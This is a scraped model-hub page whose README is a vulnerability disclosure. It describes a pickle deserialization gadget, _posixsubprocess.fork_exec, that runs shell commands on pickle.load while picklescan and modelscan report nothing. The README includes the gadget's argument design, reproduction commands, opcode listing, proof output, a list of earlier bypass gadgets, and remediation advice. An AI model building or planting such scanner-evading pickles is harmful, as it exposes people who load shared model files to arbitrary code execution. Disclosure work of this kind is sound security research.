Downloads · 30 days
0
EnigmaConsultant/huntr-poc-pickle-posixsubprocess-forkexec-bypass
huntr-poc-pickle-posixsubprocess-forkexec-bypass is a machine learning model from EnigmaConsultant. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Category: Pickle deserialization RCE / model-scanner bypass (new gadget) Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8 Trigger runtime: CPython 3.12.13 (posixsubprocess C extension); reproduced via p…
Downloads · 30 days
0
Access
Public
Updated Jul 20, 2026
Repo size
141 B
Likes
0
Public
Click a slice to open those files.
.md5 KB · 53%
From the Hugging Face model README
_posixsubprocess.fork_exec — the C fork+exec primitive under subprocess, in NEITHER scanner's blocklistCategory: Pickle deserialization RCE / model-scanner bypass (new gadget)
Affected scanners (bypassed): picklescan 1.0.5, modelscan 0.8.8
Trigger runtime: CPython 3.12.13 (_posixsubprocess C extension); reproduced via pickle.load
Payload: 141-byte pickle protocol 4 (evil.pkl, payload id)
_posixsubprocess.fork_exec is the low-level fork()+exec() primitive that the
entire stdlib subprocess machinery funnels through:
# CPython Lib/subprocess.py
from _posixsubprocess import fork_exec as _fork_exec
...
self.pid = _fork_exec(args, executable_list, close_fds, tuple(sorted(...)),
cwd, env_list, p2cread, p2cwrite, c2pread, c2pwrite,
errread, errwrite, errpipe_read, errpipe_write,
restore_signals, start_new_session, process_group,
gid, gids, uid, umask, preexec_fn, _USE_VFORK)
It is a module-level callable in the C extension _posixsubprocess and is
present in neither scanner's dangerous-globals list. A pickle whose only
global is _posixsubprocess.fork_exec spawns an arbitrary process directly on
pickle.load, achieving command execution while both scanners report 0 issues.
The gadget hands fork_exec a fully-constant argument tuple — argv
[b'/bin/sh', b'-c', b'<cmd>'], keep the always-open stdio fds (0,1,2), point
the error pipe at fd 2 — so no runtime file-descriptor allocation is needed
and the entire exploit is self-contained pickle data.
Both scanners are opcode allow/deny lists keyed on the (module, name) of
GLOBAL/STACK_GLOBAL opcodes. They block the high-level process modules but
not the syscall wrapper they all delegate to:
unsafe_globals blocks os, posix, nt,
subprocess, pty, runpy, socket, … but has no _posixsubprocess
entry. The single global _posixsubprocess.fork_exec is unlisted →
"No issues found! 🎉"._unsafe_globals blocks os:'*', posix:'*',
nt:'*', subprocess:'*', pty:'*', ctypes:'*', … but has no
_posixsubprocess entry. _posixsubprocess.fork_exec is reported only as
Suspicious (not Dangerous) → Infected files: 0.The blocklists cover every user-facing way to spawn a process, yet miss the common C primitive underneath them all.
Distinct module and distinct primitive from every previously-filed stdlib gadget
(uuid._get_command_stdout, mailcap.findmatch, multiprocessing MakeProxyType,
operator.methodcaller+ctypes.CDLL, numpy.ctypeslib, marshal.loads+FunctionType,
codeop.compile_command, doctest, pathlib+SourceFileLoader, dataclasses._create_fn,
logging.config.fileConfig / dictConfig, pydoc.pipepager, timeit, cProfile,
os.spawnv, inspect.getattr_static, typing.get_type_hints). This is the raw
fork_exec C entry point — no eval, no string-resolution, no higher-level module.
The scanners deny the process-spawning modules (os/posix/subprocess/pty)
but not the shared C implementation _posixsubprocess.fork_exec that those
modules import and call. A pickle can name it directly and pass a constant argv,
so the exec target rides entirely in pickle data reachable from a single REDUCE.
python gen_poc.py 'id' # writes evil.pkl
python -c "import pickle; pickle.load(open('evil.pkl','rb'))"
pickle.load, CPython 3.12.13)The child ran id, output captured via id > /tmp/POSIXSUB_PROOF 2>&1:
PROOF: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
A benign pickle ({"weights":[1,2,3],"name":"model"}) creates no proof file —
confirming execution comes from the fork_exec reduce, not from loading itself.
--- Summary ---
No issues found! 🎉
----------- SCAN SUMMARY -----------
Scanned files: 1
Infected files: 0
Suspicious globals: 1 # _posixsubprocess.fork_exec -> Suspicious (NOT Dangerous)
Dangerous globals: 0
The only global in the stream is _posixsubprocess / fork_exec; argv rides as
inert SHORT_BINBYTES:
STACK_GLOBAL # '_posixsubprocess' + 'fork_exec'
SHORT_BINBYTES b'/bin/sh'
SHORT_BINBYTES b'-c'
SHORT_BINBYTES b'id > ...'
Add _posixsubprocess (*, or at least fork_exec) to both scanners'
dangerous-globals blocklists alongside os/posix/subprocess/pty. Consider
also _winapi.CreateProcess on Windows. Users: never pickle.load/joblib.load
untrusted artifacts.
evil.pkl — 141-byte proof-of-concept pickle (payload id)gen_poc.py — regenerates the pickle for an arbitrary command